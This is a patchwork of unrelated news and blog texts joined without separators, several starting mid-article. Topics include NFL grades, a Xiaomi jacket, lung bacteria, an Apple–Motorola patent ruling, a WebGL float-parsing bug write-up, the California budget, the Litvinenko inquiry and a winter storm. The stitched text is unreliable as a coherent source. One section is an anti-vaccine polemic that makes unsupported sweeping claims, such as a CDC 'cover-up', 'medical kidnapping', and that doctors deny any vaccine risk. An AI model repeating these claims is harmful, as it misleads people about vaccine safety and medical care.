Giants head coach Ben McAdoo’s scheme emphasizes efficiency, using tight ends and running backs in the passing game to setup favorable down and distances. Much of the passing attack revolves around quick timing patterns underneath. It places a huge amount of strain on the linebackers to cover in space. Packers LB Jake Ryan responded to the challenge with one of the best performances of his career. He gave up only six receptions on nine targets, with two pass deflections. Ryan allowed only 42 yards, for 4.7 yards per catch average. In just 15 snaps, he also recorded a pair of stops against the run. Heading to face Dallas’ interior offensive line, however, will be a whole other challenge.
Quarterback grade: Eli Manning, 75.0
Eli Manning’s outings at Lambeau Field helped cement his status as a franchise quarterback. Although his fantastic streak was ended, his performance did nothing to tarnish that reputation. Instead, he could legitimately look at those around him with accusing eyes. Discounting drops, batted passes and throwaways, he missed only 13 throws, finishing with 23 completions for 299 yards, one touchdown and an interception deep into garbage time. Although Manning’s location was not always perfect, particularly on deeper and intermediate throws, he made two outstanding plays only to see his receivers drop passes in the end zone. The Giants’ offense underperformed in their Wild Card loss, unlike their quarterback.
Top offensive grades:
WR Tavarres King, 76.4
QB Eli Manning, 75.0
TE Will Tye, 74.6
OC Weston Richburg, 71.6
WR Sterling Shepard, 71.5
Receiving corps issues leave Giants exposed
Much of New York’s success has been forged behind a dynamic receiving corps. Odell Beckham Jr. chose a bad time to have his worst game in quite some time. Coming into the game with only 14 career dropped passes, ODB put a trio of balls on the turf, including during the crucial opening exchanges when the Giants had the upper hand. Sterling Shepard and Tavarres King both had solid games, catching seven of 14 targets for 136 yards and a touchdown between them, but the Packers’ decision to commit extra resources to pass defense ultimately proved decisive.
Top defensive grades:
S Landon Collins, 79.5
LB Keenan Robinson, 79.1
DT Jonathan Hankins, 76.4
CB Leon Hall, 69.3
DT Jay Bromley, 67.7
Lack of pass rush strains secondary
The Giants’ secondary will deservingly receive some flack for their second-half performance, but the Giants’ pass rush did little to help out the coverage. The majority of pressure they were able to get on Rodgers came on clean-up plays or after four seconds into the play. Giants’ high-paid defensive end Olivier Vernon had his lowest pass-rush grade of the season going against Packers left tackle David Bakhtiari, who entered the game as the highest-graded tackle in pass protection this season. Vernon managed just two hurries on a whopping 46 pass rushes. On the other side of the line, Romeo Okwara had just a clean-up sack as his only pressure on 37 pass rushes. The other issue for the Giants’ defense was losing Dominique Rodgers-Cromartie, who was injured after just two snaps on defense. So instead of having one of the highest-graded cornerbacks in coverage on the field, the Giants were forced to play Leon Hall and Trevin Wade more. While Hall fared well, Wade gave up receptions on all three targets, and allowed a perfect passer rating into his coverage.
PFF Game-Ball Winner: Packers WR Randall Cobb
The jacket is the down and feather variety, specially made to keep you warm when the weather is cold. They are also the choice of jackets for skiing and snowboarding. Skiing is actually one of Lei Jun’s hobby, so we won’t be wrong to presume he thought of this during his last skiing trip.
READ MORE: Xiaomi’s Q2 2017 Sales Put It Back in Top 5 Smartphone Brands In The World
The 90 points down jacket is set to go on sale on August 14 for a yet undisclosed price, though a teaser image reveals the price as ¥2X9. Our guess is either ¥279 (∼$42) or ¥299 (∼$45).
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They may be linked to dangerous diseases and are under constant threat of being expelled from their adopted home. Their contribution to the greater community is only beginning to be understood. And every day, more of them arrive.
They’re bacteria living in human lungs.
New research pinpoints just how they get there, and it opens the door to more work on what happens to them — and our bodies — as a result.
Writing in the journal mBio, researchers from the University of Michigan Medical School and VA Ann Arbor Healthcare System offer microbiome-based evidence that most of the bacteria in the lungs of healthy people got there by way of microaspiration.
In other words, they ride in on tiny droplets of saliva that made it from the microbe-filled mouth to the lungs. That means they avoided the movable tissue barrier, called the epiglottis, which keeps most saliva from getting into the lower respiratory tract.
By studying the DNA of these bacteria throughout the lungs of healthy volunteers, the researchers confirmed that the population of microbes in the lungs closely resembles the population found in the mouth. And by studying the microbes’ distribution within the airways, the researchers could determine their most likely entry route.
They found that many of the immigrant microbes make their home near the main carina, the spot at the end of the trachea where the airway branches off to the left and right lungs. This spot in the lungs is a “landing pad” where aspirated saliva — because of gravity and our upright posture — is likely to collide with the airway. But some bacteria manage to make it all the way to the deepest reaches of the pulmonary system and reside in the tiny air sacs called alveoli.
Wherever the bacteria land, the researchers found, they join a community made up mostly of other recent immigrants. Few microbes are thought to be long-term residents of healthy lungs. Unlike the gut, healthy lungs are an inhospitable environment for bacteria, with little nutrition and constant surveillance by the immune system.
“This is the most comprehensive topographic survey of the healthy lung microbiome to date. It adds to the evidence that healthy lungs are like an island whose population is determined by the balance of immigration and elimination of species: who moves in and who moves out,” says Robert P. Dickson, M.D., the first author of the new study. “The microbiome of the lung plays by a different ecologic rulebook than the gut microbiome, and this study helps clarify what those rules are.”
A mandatory vaccination policy — forced vaccination of unwilling recipients — is, by definition, a medical intervention carried out without the consent of the patient or the patient’s parents. This directly violates the very clear language in the Informed Consent section of the AMA Code of Medical Ethics which states:
The patient should make his or her own determination about treatment… Informed consent is a basic policy in both ethics and law that physicians must honor, unless the patient is unconscious or otherwise incapable of consenting and harm from failure to treat is imminent.
“Physicians must honor” informed consent
The AMA’s Code of Medical Ethics statement is very clear: “physicians must honor” the policy of informed consent. In fact, the AMA describes this as “a basic policy in both ethics and law” and only makes exception if the patient “is unconscious” or if harm from failure to treat “is imminent.”
Mandatory vaccine interventions are conducted in total violation of this code of ethics. Most unvaccinated children are in a state of perfect health, with no symptoms and no active disease. There is no “imminent” risk of harm from “failure to treat.”
Because the mainstream media is desperately trying to confuse the public about the very definition of “medical consent,” here is the Dictionary.com definition of “consent”:
verb – to permit, approve, or agree; comply or yield (often followed by to or an infinitive)
He consented to the proposal. We asked her permission, and she consented.
Patients deserve an “informed choice”
The AMA’s Code of Ethics statement furthermore says that patients possess a “right of self-decision” and that this right can only be effectively exercised “if the patient possesses enough information to enable an informed choice.”
Nearly all vaccinations are carried out in direct violation of this medical code of ethics because patients are almost never handed vaccine insert sheets, and the very real risks of vaccination are almost never explained to anyone. In fact, virtually the entire medical establishment operates in a state of total denial that any vaccine risks exist at all. This, too, is a striking violation of the AMA’s code of ethics.
It is also an outright abandonment of all logic and medical reality, as every medical intervention comes with some level of risk, even if that risk is small. It is not zero, as is routinely and repeatedly claimed by vaccine fanatics.
Doctors should “respectfully” explain treatment options to patients
The AMA’s Code of Ethics further states “Physicians should sensitively and respectfully disclose all relevant medical information to patients.”
Instead, what we actually see in America today is:
• Belligerent doctors verbally berating patients for asking intelligent, informed questions about vaccine ingredients and vaccine side effects.
• Arrogant doctors threatening to cut off all medical treatment from patients unless they agree to a coerced medical intervention (vaccinations).
• Doctors and hospitals calling law enforcement authorities on families, then staging the state seizure of children while threatening parents with arrest and imprisonment (medical kidnapping).
These actions are so far removed from the AMA’s Code of Ethics that they call into question the very real question of whether the entire medical system has utterly abandoned any shred of medical ethics at all.
A campaign of intellectual bigotry carried out in the name of science
Today, medical obedience to mandatory vaccines is being aggressively demanded by rage-filled doctors, health authorities and media outlets. A vicious campaign of intellectual bigotry has been unleashed against all vaccine skeptics, with malicious tactics such as equating skeptical thinkers who seek to avoid mercury with people who still think the Earth is flat.
There is no question that such malicious tactics against concerned moms are being conducted in total violation of the AMA’s own Code of Ethics, which also states that “The physician’s obligation is to present the medical facts accurately to the patient or to the individual responsible for the patient’s care and to make recommendations for management in accordance with good medical practice.”
This code of medical ethics means doctors may educate patients and even respectfully urge them to follow a particular course of action, but they may not coerce, threaten, intimidate or otherwise verbally berate patients who disagree with their suggested course of action.
Here’s the full statement from the AMA’s Code of Ethics page, section 8.08 – Informed Consent:
The patient’s right of self-decision can be effectively exercised only if the patient possesses enough information to enable an informed choice. The patient should make his or her own determination about treatment. The physician’s obligation is to present the medical facts accurately to the patient or to the individual responsible for the patient’s care and to make recommendations for management in accordance with good medical practice. The physician has an ethical obligation to help the patient make choices from among the therapeutic alternatives consistent with good medical practice. Informed consent is a basic policy in both ethics and law that physicians must honor, unless the patient is unconscious or otherwise incapable of consenting and harm from failure to treat is imminent. In special circumstances, it may be appropriate to postpone disclosure of information, (see Opinion E-8.122, “Withholding Information from Patients”). Physicians should sensitively and respectfully disclose all relevant medical information to patients. The quantity and specificity of this information should be tailored to meet the preferences and needs of individual patients. Physicians need not communicate all information at one time, but should assess the amount of information that patients are capable of receiving at a given time and present the remainder when appropriate. (I, II, V, VIII)
Because we believe the AMA will, after seeing this investigative story, attempt to alter or revoke this medical ethics document, we are also posting a screen shot of the AMA’s page sourced on February 9, 2015:
Entire mainstream media now urging total abandonment of the AMA’s own Code of Ethics
What else is fascinating about this finding is the realization that the entire mainstream media is almost fanatically screaming for the wholesale abandonment of the very principles of medical ethics endorsed by the AMA in its own words.
Almost everywhere in the media, the public is now being berated and screamed at in the name of “SCIENCE!” while vaccine skeptics are being derided as “kooks” and “nut jobs” because they have questions about vaccines that the vaccine industry refuses to answer. Those reasonable, rational questions include inquiries concerning the toxic effects of vaccine ingredients, the history of faked vaccine research, the CDC scientist’s confession of a vaccine cover-up at the CDC, the admission that many current vaccines are backed by no clinical trials, and even questions about why the National Vaccine Injury Compensation Program has already paid out billions of dollars in proven vaccine damages at the same time the medical system claims vaccines have never harmed anyone and don’t cause dangerous side effects.
All of this activity carried out in witch hunt fashion by the mainstream media and vaccine fanatics posing as “scientists” is conducted in gross violation of the AMA’s own Code of Ethics, which calls for doctors to respectfully inform patients of their choices, then allow the patient to make their own informed choice.
Six questions for the AMA
Here are six important questions for the AMA:
#1) Will you now denounce the vaccine fanatics who are calling for vaccines to be forced onto people without their consent?
#2) If not, will you revoke the AMA’s Code of Ethics and abandon what have already called a fundamental “patient right” to be informed and make their own decision about medical interventions?
#3) Will you publicly condemn doctors who are using tactics of coercion, verbal abuse, intimidation and threats against patients who have reasonable questions about vaccine safety? If not, will you publicly endorse their tactics and encourage them to be used even more frequently?
#4) If, as you state on the AMA website, “Informed consent is a basic policy in both ethics and law that physicians must honor,” then will you insist that your own AMA members follow this policy? Or is it acceptable that they almost universally violate this policy as part of a “vaccine lynch mob” mentality that has now swept across the minds of the medical profession?
#5) If the AMA does not immediately denounce the widespread vaccine violations of its own Code of Ethics, then what medical ethics does the AMA actually stand for, if any? Are there any limits to the coercion tactics doctors may use against patients to force them into medical treatments demanded by doctors?
#6) If the AMA abandons its own code of medical ethics, then how can patients trust doctors who are AMA members to act with any sense of ethics at all?
Sources for this story include:
A regional court in Mannheim, Germany ruled that Apple's devices with cellular networking infringe Motorola-owned patent 1010336. This is the equivalent networking patent has detailed by U.S. Patent No. 6,359,898.
Such devices include the iPhone 3G, 3GS, and the iPhone 4. It also includes the 3G-enabled original iPad and iPad 2. While Motorola did not specifically name the iPhone 4S in its case, it is likely that the latest Apple smartphone is also affected by the ruling.
Unless Apple can secure a stay until a higher regional court can hear an appeal, the iPhone smartphone and iPad tablet could be barred from being sold in Europe.
Apple is expected to appeal for a stay on the injunction as it prepares its appeal.
But whether Germany can enforce a Europe-wide ban on 3G-enabled iOS devices is unclear.
In September, a German court 'downgraded' its ban on Samsung selling its Galaxy Tab tablet across Europe, after concerns were raised that the court may not have had the authority to issue such a broad embargo.
FOSS Patents author Florian Mueller says that the injunction is preliminarily enforceable against Ireland-based Apple Sales International, "in exchange for a €100 million ($134 million) bond", unless Apple wins its stay.
This means that should Apple win a stay on the injunction, Motorola would be liable to pay the bond should it fail in its bid later down the line to keep in the sales in place. The bond is significantly lower than the €2 billion ($2.7 billion) charge that Apple had asked for.
While Apple could attempt to gain a license from Motorola, this would not apply retroactively. Motorola could then insist on damages for Apple's prior infringement in its previous smartphone and tablet devices.
Apple had sought a “Fair, Reasonable and Non-Discriminatory” (FRAND) license, but Motorola had previously convinced the court that the damages Apple inflicted would exceed the FRAND terms.
Germany is one of the strongest economies in the Eurozone, and one of the key markets for Apple in Europe.
Apple declined to comment on the ruling.
Email
A distraught father has called for an inquest into the death of his son during childbirth, after witnessing his horrific death at the Royal Victoria Hospital.
Due to a fluid build-up in his stomach, the baby, who was to be called Liam James, had only been given a 5% chance of survival.
However, nothing could have prepared Patrick McCormick and his girlfriend Louise for what would happen next.
Mr McCormick described the moment that he witnessed his son's head come away from his body as medical staff worked to deliver the baby.
The heartbroken father told UTV in an emotional interview just 24 hours after his son's death that he was "stunned" by the manner in which he died.
He said: "A nurse who's been there for 35 years told me she's never seen anything like it in her life."
Mr McCormick then proceeded to inform his girlfriend what had happened to their son.
"She said: 'Paddy, can I hold him?' And I broke down," he said. "I had to sit and go through every detail with her. I don't know if I'll ever get over it," he added.
A post mortem is currently being carried out but it is understood that the baby was clinically dead at the point of delivery.
But this will not be known for certain until the autopsy results are confirmed.
It is believed that cases like this are extremely rare and have not occurred in the Belfast Trust area since 1998.
But Mr McCormick said that he does not want any other family to go through the same trauma that he and his girlfriend are currently going through.
The couple had repeatedly requested a Caesarian section throughout the pregnancy, after being told from early on that there would likely be problems with the baby and the fluid gathering.
But this was dismissed by doctors who said that it could lead to complications, he claimed.
In a statement, the Belfast Trust offered heartfelt sympathies to the family. "We do not underestimate how painful this situation is for them," a spokeswoman said.
"This has also been a harrowing time for our staff who, throughout a very unusual set of circumstances, have endeavoured to give the best possible care."
Pamela Fisher (not pictured) must wait until 2014 to receive dental treatment (Picture: Getty)
Pamela Fisher has already been on a waiting list for two-and-half years to have all her decayed teeth removed.
And her wait must go on until 2014, as hospital bosses can make only one appointment for dental patients each month – and she’s 16th on the list.
The mother of three’s teeth have decayed because of medication she takes for eczema, asthma and back pains.
Her teeth are so weak they snap if she crunches on a crisp and crumble if she drinks a hot cup of tea.
Mrs Fisher, who is disabled, is too embarrassed to smile or talk to people because of the state of her teeth.
She said: ‘They’re horrendous to look at; to wait a total of four-and-a-half years to get the treatment I need is ridiculous.’
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She says she is forced to live on soup and soft bread, as it’s all she can eat without suffering shooting pains in her gums.
Mrs Fisher, 44, added: ‘It’s affecting my quality of life.
‘I’m not wanting to jump the queue, I just want people to know that this is how long you have to wait.’
After years of frequent visits to her surgery in Hartlepool, Co. Durham, Mrs Fisher was told she would have to have surgery to remove some of her teeth.
But the wait has been delayed for so long she will have to have all of her teeth pulled out when she finally gets into the dentist’s chair.
The Berkeley Patriot, the tiny student outfit behind it, pulled the plug over the weekend, claiming the school had failed to communicate, made too many bureaucratic demands and endangered participants by refusing to rent out secure venues.
But the group never got around to actually inviting many of its advertised speakers, let alone confirming them.
The university, meanwhile, had gone nuts on security: Even Sunday’s public event to announce the cancellation was so “protected” that hundreds of people were still in line to enter the “safe space” when it started.
And it ended quickly, as provocateur Milo Yiannopoulos spoke for just a few minutes, then went on his way.
The big villains, of course, remain the mostly outside extremists who promise — and deliver — violent rioting, arson and other vandalism to prevent right-of-center types from speaking.
Which makes Berkeley’s security obsession quite understandable: The school has shelled out well over $1 million for such speeches this year, including for events that it still felt obliged to cancel. It cost an estimated $600,000 to secure the recent speech by utterly mainstream conservative Ben Shapiro.
Actually, according to webglstats.com, the support for rendering to float textures is a lot worse than I thought:
Update: Apparently these support numbers are misleading! Browsers support rendering to float textures without supporting WEBGL_color_buffet_float . I will update with a better graph when I find a proper source for that number.
So apparently it's pretty important to have a workaround for when float texture support isn't present.
The standard workaround for lack of float texture support is to just use byte textures, pack your floats into bytes at the end of every shader, and unpack them at the start of every shader. So that's what I did. And that's how the nightmare started.
(Side note: see this graphics.stackexchange question for the packing/unpacking code, which is still not perfect.)
Symptoms
To be honest, it almost feels like cheating to use WebGL as the topic of an "unfathomable bug" post. WebGL combines browsers, known for having varied features and incompatible behaviors barely held together by standards, with GPUs, also known for having varied features and incompatible behaviors barely held together by standards, into an eldritch clusterstorm of inconsistency and uncertainty.
(Example: Chrome/Firefox/IE assign WebGL constants directly to WebGLRenderingContext , but Safari only puts the constants on instances of WebGLRenderingContext .)
(Example: I still can't figure out if the endianness of vec4 byte outputs is guaranteed to match the endianness of Float32Array .)
Knowing about all that inconsistency and uncertainty, I wrote a lot of tests for the float-into-byte-into-float behavior. Actually, I tried to test the float-into-byte behavior separately from the byte-into-float behavior, since otherwise it's hard to know which is causing a fault. However, to test the float-into-byte behavior on the devices I cared about, I needed a way besides float textures to get test floats into a shader.
The correct way to get floats into a shader is uniforms. But the idea I went with was to just directly embed the floats within the generated source of a shader. Like this:
suite . testUsingWebGL ( 'encodeEmbeddedFloats' , () => { let inFloats = randomFloats ( 16 ); let shader = new WglShader ( PACK_FLOAT_INTO_BYTES_CODE + ` void main() { vec2 xy = gl_FragCoord.xy - vec2(0.5, 0.5); float k = xy.y * 4.0 + xy.x; float f = 0.0; ${ seq ( inFloats ). mapWithIndex (( e , i ) => `if (k == ${ i } .0) f = float( ${ e } );` ). join ( '
' ) } gl_FragColor = packFloatIntoBytes(f); }` ); let outBytes = shader . withArgs (). readRawByteOutputs ( 4 ); //2^4 = 16 pixel outputs let outFloats = bytesAsFloats ( outBytes ); // Just creates a Float32Array view over the bytes assertThat ( outFloats ). isEqualTo ( inFloats ); });
(Note: the WglShader class adds 'highp' declarations to the top of the shader. Floats are 32-bit single precision.)
It's a bit awkward, compared to using uniforms, but not the worst idea. And soon enough the test did stumble over a float that wasn't packed correctly:
Error: Got < Float32Array[16211.896484375, [...] > but expected it to equal < Float32Array[16211.8955078125, [...] >. (assertThat #1)
Encoding the input 16211.8955078125 increased it by one ulp to 16211.896484375 . Exactly the kind of bug I was hoping to catch.
So I started fiddling with the encoding code, trying to fix or at least affect the bug, but to no avail. No matter what I did, I couldn't get the right output. Eventually, as I was starting to suspect that maybe gremlins were a real thing, I made a desperate move: special-case the two involved values.
if ( val == 16211.896484375 ) return vec4 ( 150.0 , 79.0 , 125.0 , 70.0 ); if ( val == 16211.8955078125 ) return vec4 ( 149.0 , 79.0 , 125.0 , 70.0 );
This still didn't work. Despite literally hard-coding the answer, 16211.8955078125 was still being bumped up by an ulp.
... until I switched the order of the two if statements.
val was comparing as equal to both of the floats I was testing against! This is very strange, because the two values really are distinct floats. A fact you can confirm very easily:
bool alwaysTrue () { return 16211.896484375 != 16211.8955078125 ; }
The above function really does return true. Even in GLSL. Even on the machine affected by the bug we've been discussing.
So... clearly something seems to be inconsistent here. We have one value equal to two unequal values. Our next step is clear: turn it into a dead simple test case that can't possibly fail. Here it is:
suite . test ( "mySanity" , () => { let shader = new WglShader ( ` bool neverTrue(float val) { return 16211.8955 == val && 16211.8955 != 16211.896 && val == 16211.896; } void main() { float a = float(neverTrue(16211.8955)); gl_FragColor = vec4(a, a, a, a); }` ); let out = shader . withArgs (). readRawByteOutputs ( 0 ); // 2^0 pixels, 4 vals assertThat ( out ). isEqualTo ( new Uint8Array ([ 0 , 0 , 0 , 0 ])); });
Basically the above code checks that equality is transitive. It can't possibly fail.
Yeah, it fails:
[...] mySanity FAILED Error: Got < Uint8Array[255, 255, 255, 255] > but expected it to equal < Uint8Array[0, 0, 0, 0] >. (assertThat #1)
This kind of problem would be typical of floats if we were doing any arithmetic. But we're just comparing against constants!
Still, this was a promising lead and so I kept experimenting. I found that the inconsistency goes away if you store the constants into variables before comparing them. I also found that the inconsistency goes away if you use a uniform or a texture to input the test float, instead of embedding it directly into the source code. Finally, and most strikingly, I found that a uniform set to 16211.8955 was not equal to the constant literal 16211.8955 .
With that information, I finally figured it out.
Cause
My explanation uses two mechanisms to cause all the weird I've been describing:
A constant-folding pass with correct precision. A float parser with a precision-loss bug.
I think that, when the browser or the drivers or the GPU or whatever on my machine sees the comparison 16211.8955 != 16211.896 it does a special-case constant-folding optimization that correctly replaces the comparison with just false . But, for comparisons that aren't between two constants, the literals survive until a later stage where they are parsed into binary data usable by the GPU. I think this final parsing stage has a precision bug that rounds 16211.8955 into 16211.896 (apparently the constant-folding process uses a different parser).
To test this idea, I did the obvious thing: just use the two constant literals as outputs (thankfully, the machine this was all happening on supports float textures). If it's a parsing bug, the output should have two 16211.896 s instead of a 16211.8955 and a 16211.896 .
And that's exactly what happens:
As you can see in the test output near the bottom of the screenshot, the 16211.8955 output has been rounded up to 16211.896 .
My workaround for this problem is simple: avoid the parser. Pass the floats in as uniforms instead of embedding them directly into the GLSL code.
Further Work
This parsing precision issue isn't the only cross-machine WebGL oddity I've been running into. There's like three more weird things to figure out before doing the October release of Quirk. For example, the Nexus tablet on my desk is still adding ulps all over the place compared to the HP laptop and the iPhone. More seriously, on both the Nexus tablet and the iPhone, something wacky happens when applying a Hadamard gate to all 16 qubits of a circuit:
... Okay... those indicators should never ever be reaching outside of their spheres. And the probabilities should be 50%, not 33%. Moreover, the difference between 50% and 33% is huge and yet appears very suddenly: Hadamard transforming 15 qubits doesn't cause the issue. Given what I know about the structure of the code, that sudden appearance of error just seems impossible. More experimentation is required. No doubt it'll be a head slapper.
Update: Solved it. Apparently some GPUs/drivers/whatever just throw away 13 (!!!) bits of precision on coordinate arithmetic, unless you trick them into not doing it by hiding values behind a uniform... Not so much a head-slapper as an F-bomb dropper. This is not an okay thing to have to workaround.
Hopefully it'll all be done and tested before Halloween, since I'll be travelling to visit the Santa Barbara office and would rather not have it in the back of my mind the whole time.
Summary
Intel HD Graphics 5500s may lose a bit of precision when parsing floating point literals.
Brown unveiled his revised state budget proposal, revealing a $122.2 billion plan that is slightly smaller than the $122.6 billion outline floated in January.
Revenue estimates have been lowered by $1.9 billion to reflect drops in sales and income tax receipts. Even while the state’s economy continues to recover, Brown does not want to leave office in 2018 with the kind of recession-crippled budget that he had to grapple with when he launched his return to the governor’s desk in 2011.
The state’s worrier-in-chief foreshadowed his concern in January when he called for $2 billion to be socked away in a rainy-day fund.
Here’s how those mind-boggling figures could affect you.
RAINY-DAY PLAN
Our more-wary-then-ever governor aims to fend off new spending commitments and prepare for the eventuality of a recession. Otherwise, the state will have to make harsh budget cuts, he warned.
It also means, despite the state’s ongoing recovery, pleas will likely go unheard from the Democrat-controlled Legislature and progressive groups to boost spending on programs like child care and measures intended to help Californians who are still struggling in the wake of the Great Recession.
SOLVING HOMELESSNESS
Seeing more homeless people in your area? Help may be on the way. The budget endorses a $2 billion bond to give the state Department of Housing and Community Development money to target chronic homelessness. The money comes from a shift in funding for mental health services.
Senate Democrats had asked for the $2 billion to fight homelessness. “Homelessness plagues communities across our state, so I’m very pleased Governor Brown has embraced the Senate’s bipartisan ‘No Place Like Home’ proposal to direct $2 billion from the Prop. 63 bond to bolster local efforts to tackle this crisis,” Senate President Pro Tem Kevin de León, D-Los Angeles, said in a news release.
FUNDS FOR SCHOOLS
Are years of hikes in state university tuition outpacing your savings for Junior’s education?
There may be a freeze on the horizon. The revised budget infuses $2.9 billion into the Local Control Funding Formula to help previously under-funded schools.
Tuition at state universities would remain at 2011-12 levels, and $25 million is set aside to help California State University students earn degrees more quickly.
EASING POVERTY
A cost-of-living adjustment for Supplemental Security Income/State Supplementary Payment recipients – the first since 2005 – remains, as does the state’s first-ever earned income tax credit for low-income families.
Brown won praise from labor activists and others in April when he signed into law a gradual rise in the state’s minimum wage to $15 an hour.
Advocates say the higher wage will lift workers out of poverty. Critics argue it will cost jobs.
ROAD WORRIER
The revised budget keeps a 10-year, $36 billion plan for highway and road maintenance, as well as more public transit.
Previous estimates put the state’s road maintenance backlog at $60 billion, and the state Transportation Commission has warned that state funding for road projects will dry up unless more money is found.
Byrd was back on the field but not taking part in team drills for the opening of Saints training camp Friday, per NFL Media's Albert Breer.
Coach Sean Payton said Thursday, per The Times-Picayune, that Byrd would return to football activities "sooner than later."
On Friday, the Saints placed Byrd on the physically unable to perform list, but Payton intimated this would not be a long-term move.
Payton's comments suggest there's little doubt that Byrd will be on hand for the season opener. That's a good sign for a team that plans to make a run at the Super Bowl in 2014.
The Government decision means the formal investigation in to his death will be able to examine whether the Russian state was behind his murder.
The decision is another blow to Russian President Vladimir Putin at a time when he is already under intense international pressure in the wake of the Malaysia airlines atrocity.
Mrs May will tell Parliament that a public inquiry will take over from the inquest in to the death of Mr Litvinenko five months after losing a crucial legal challenge, the Daily Telegraph can disclose.
The Government long resisted calls for an inquiry and insisted that an inquest which was being led by a senior judge was adequate.
However, widow Marina Litvinenko won a High Court ruling in February that Mrs May should reconsider her decision.
Mr Litvinenko, 43, an ex – KGB agent who fled to Britain in 2000, was allegedly poisoned by radioactive polonium – 210 at a hotel in London in 2006.
His family and friends have always claimed that the Russian state ordered the killing.
Andrei Lugovoi, a former KGB bodyguard, and Dmitri Kovtun have been identified as the prime suspects. Both deny any involvement and remain in Russia.
Ministers have been under pressure since last year when Sir Robert Owen, who was conducting the inquest, said he could not hold a "fair and fearless" investigation and that a public inquiry would be more appropriate.
The conflict centred on a ruling that material examining if the Russian state had a role in the murder or whether the UK could have prevented it was to be withheld from the hearing.
Mr Litvinenko's family accused the Government of doing a secret deal with Russia to keep the Kremlin out of proceedings.
Sir Robert warned at the time that the two issues were "of central importance" but could now not be properly examined on all the evidence.
He called for a public inquiry instead because that could consider sensitive material in private unlike an inquest.
Mrs May refused and in a letter to Sir Robert admitted that "international relations" had played a part in the decision.
Mrs Litvinenko challenged the decision and her lawyers argued in the High Court earlier this year that there was a “prima facie" case that Russia ordered the killing of her husband.
A 21-year-old Pennsylvania woman wanted for writing $15,000 worth of bad checks appears to have tried to submit a bogus obit for herself to a local newspaper.
The Beaver County Times says it received an obituary for Anastasia Kline via email on Wednesday, stating that the young woman had died “unexpectedly.”
But when a reporter called the number attached to the obit, they reached Kline’s grandmother who said she was alive and well. They then checked with local coroner’s and medical examiner’s offices and could find no record of Kline’s death.
The paper did not publish the obit.
Kline was charged in November for stealing $15,000 but remains at large. Police said she had initially walked into a bank 60 miles from her home and opened an account and then cashed bogus checks for thousands of dollars at various branches.
She was charged with 18 counts of forgery and nine counts of theft and writing bad checks.
PORTAGE PARK — For the second time in less than a week, Chicagoans will wake up to historic news Wednesday, no matter what happens.
That's why Joe Angelastri, the owner of City Newsstand, 4018 N. Cicero Ave., is ordering thousands of copies of the Tribune and Sun-Times so people can capture a piece of it.
"Everyone forgets, but there's going to be a sudden shift in attention from how bitter this election was, to how historic it was," Angelastri said.
The store will have 1,500 issues of each paper in stock Wednesday morning, Agelastri said. They'll also have plenty of copies of RedEye and Hoy, employees said, although they couldn't confirm the exact number.
Meanwhile, Angelastri added, the store is still sitting on hundreds of copies of newspapers printed last Thursday, the day after the Cubs won the World Series.
The store owes its glut of papers to a late delivery of extra Tribunes on Friday, when deliverers dropped off a thousand copies that had sat idle at South Side stores.
"Brought all back, no one wanted them," read a hand-written note on top of the stack of papers.
The World Series outcome led to City Newsstand's "busiest weekend ever," Angelastri said.
"We hadn't seen anything like that since [Barack] Obama's election in 2008," he said. "So we're anticipating the same thing tomorrow, maybe."
However, median home prices jumped by 11.0 percent year-over-year.
Here's what NAR chief economist Lawrence Yun had to say about that: "The shrinkage in housing supply is supporting ongoing price growth, a pattern that could accelerate unless home builders robustly ramp up production."
This speaks to a troubling dynamic that's been developing in the market for new homes.
In recent months, homebuilders have been ramping up the construction of new homes. In a new report from the Census, housing starts surged to a their highest levels since 2008.
The problem is that new home sales haven't been keeping up pace. Here's a chart from TD Securities economist Millan Mulraine:
TD Securities
Meanwhile, homebuilders like Lennar and PulteGroup, who are both bullish on housing, will be under immense pressure by shareholders to keep building.
The September new home sales report will be coming out next Wednesday. This is one report the housing economists will be keeping a very close eye on.
Axelle Despiegelaere took the soccer-watching world by storm when the media captured the 17-year-old in Red Devil gear, rooting for her home team during the Belgium-Russia World Cup match on June 22. The photos quickly went viral, and turned camera-ready Despiegelaere into a worldwide sensation, even securing her a contract with cosmetics giant L’Oreal.
But UK’s Independent reported the world’s biggest beauty company has severed ties with Despiegelaere, saying the Belgian teen was not a spokesperson for the brand and her contract has been "completed."
Article continues below ...
"L’Oreal Professionnel Belgium collaborated with her on an ad hoc basis to produce a video for social media use in Belgium. The contract has now been completed," a spokesperson told the Independent in a statement.
This comes amidst an outcry from fans after Despiegelaere had posted a controversial photo on her Facebook page on July 1 ahead of the Belgium-United States World Cup game. The teen is brandishing a hunting rifle next to an apparently dead animal.
According to Business Insider, the caption read, "Hunting is not a matter of life or death. It’s much more important than that .. this was about 1 year ago … ready to hunt Americans today haha."
Viral 17-year-old World Cup model causes uproar with crass hunting photo and awful caption http://t.co/jhnYUhf4fL pic.twitter.com/l97GNhG4t1 — Aly Weisman (@AlyWeisman) July 10, 2014
The post — as well as one celebrating Despiegelaere’s contract with L’Oreal — was removed from the teen’s timeline.
L’Oreal’s spokesperson told the Independent that the company was aware of Despiegelaere’s social media photograph, but would not comment as to whether that was the reason why her contract was terminated.
The company also stressed that L’Oreal "no longer tests on animals, anywhere in the world, and does not delegate this task to others."
The National Weather Service is forecasting a long-duration storm of potentially historic magnitude, due to affect New England from Monday afternoon through early Wednesday. National Grid has announced that preparations to meet the challenges of possible widespread power interruptions are well underway.
The storm, named “Juno,” could drop as much as 30 inches of snow and bring wind gusts of 60 miles per hour to all of Rhode Island and parts of eastern and central Massachusetts. High tides could also cause coastal flooding. National Grid officials began preparing this weekend, and have mobilized in-house and contractor crews to help restore power as quickly and safely as possible as needed.
“With sustained periods of heavy snow, gale-force winds and blizzard conditions, this storm has the potential to cause severe damage to the electric system. While we will be ready for whatevetr Juno brings, if the storm turns out to be as severe as the meteorologists are predicting, it could take several days to restore power to all of our customers,” said Dan Bunszell, National Grid’s vice president of New England Operations. “We urge our customers to take this weather forecast very seriously and prepare accordingly so they can stay safe before, during and after the storm.”
According to Bunszell, National Grid has:
-Pre-arranged shifts for approximately 185 internal line crews
-Issued requests for an additional 700 contractor crews from throughout New England and the eastern U.S.
-Requested the services of 380 contractor tree crews
-Made plans to staff six equipment and personnel staging areas strategically located throughout the area expected to be impacted
National Grid is working through several channels to inform customers and state and local officials of the impending storm, what’s being done to prepare for it, and what they need to know and do. These include:
-Direct communication with state elected officials, state regulators, emergency management agencies, local and state police and the National Guard
-Scheduled conference calls with municipal officials for Monday morning to brief them on preparedness plans
National Grid advises customers to be prepared for service interruptions. They recommend having a number of working flashlights, at least one battery-operated radio and an extra supply of batteries in your home.
